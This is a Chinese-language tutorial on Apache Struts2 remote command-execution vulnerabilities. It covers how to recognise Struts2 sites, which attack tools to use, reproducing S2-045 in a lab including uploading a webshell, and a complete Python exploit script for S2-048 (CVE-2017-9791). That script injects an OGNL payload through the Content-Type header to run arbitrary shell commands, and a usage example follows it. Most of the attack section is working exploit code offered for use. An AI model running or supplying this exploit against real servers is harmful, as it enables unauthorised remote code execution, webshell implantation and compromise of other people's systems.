Struts2命令执行漏洞
Struts2简介
Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,基于MVC 架构
Struts2是一个运行于web容器的表示层框架,其核心作用是帮助我们处理Http请求
Struts2帮我们解决了我们需要和Http打交道的众多繁琐的工作,这也是Struts2作为分层开发模式中表现层的核心所在
如何判断网站使用了Struts框架?
网站url中以.action 或 do 结尾说明使用了struts2框架。然后使用k8工具测试,因不知道版本只能一个一个测试
查询struts2漏洞,通过知道创宇网站:https://www.seebug.org/search/?keywords=struts2 查询struts2漏洞
Struts2漏洞还原
攻击工具:
K8 Struts2工具来测试,目前该工具集成2010年到2018年的高危漏洞2018年以后的漏洞就没有更新了
2018年以后的Struts2漏洞,使用kali中msf最新的Struts2来攻击
python代码对Struts2漏洞进行攻击
s2-045漏洞还原
struts2版本:struts-2.3.15.1版本。
环境:本地http://192.168.3.174机器上部署了struts-2.3.15.1
输入2017 S2-045漏洞:http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action
执行命令查看服务器上面的信息
上传小马
服务器中查看上传小马文件成功
s2-048漏洞还原
python2环境
用法:struts048.py http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action "拼接需要执行的命令"
struts048.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts2_S2-048.py <url> <cmd>")
else:
print('[*] CVE: 2017-9791 - Apache Struts2 S2-048')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)
查看安装atruts2服务器的ip
C:\>struts048.py http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action "ipconfig"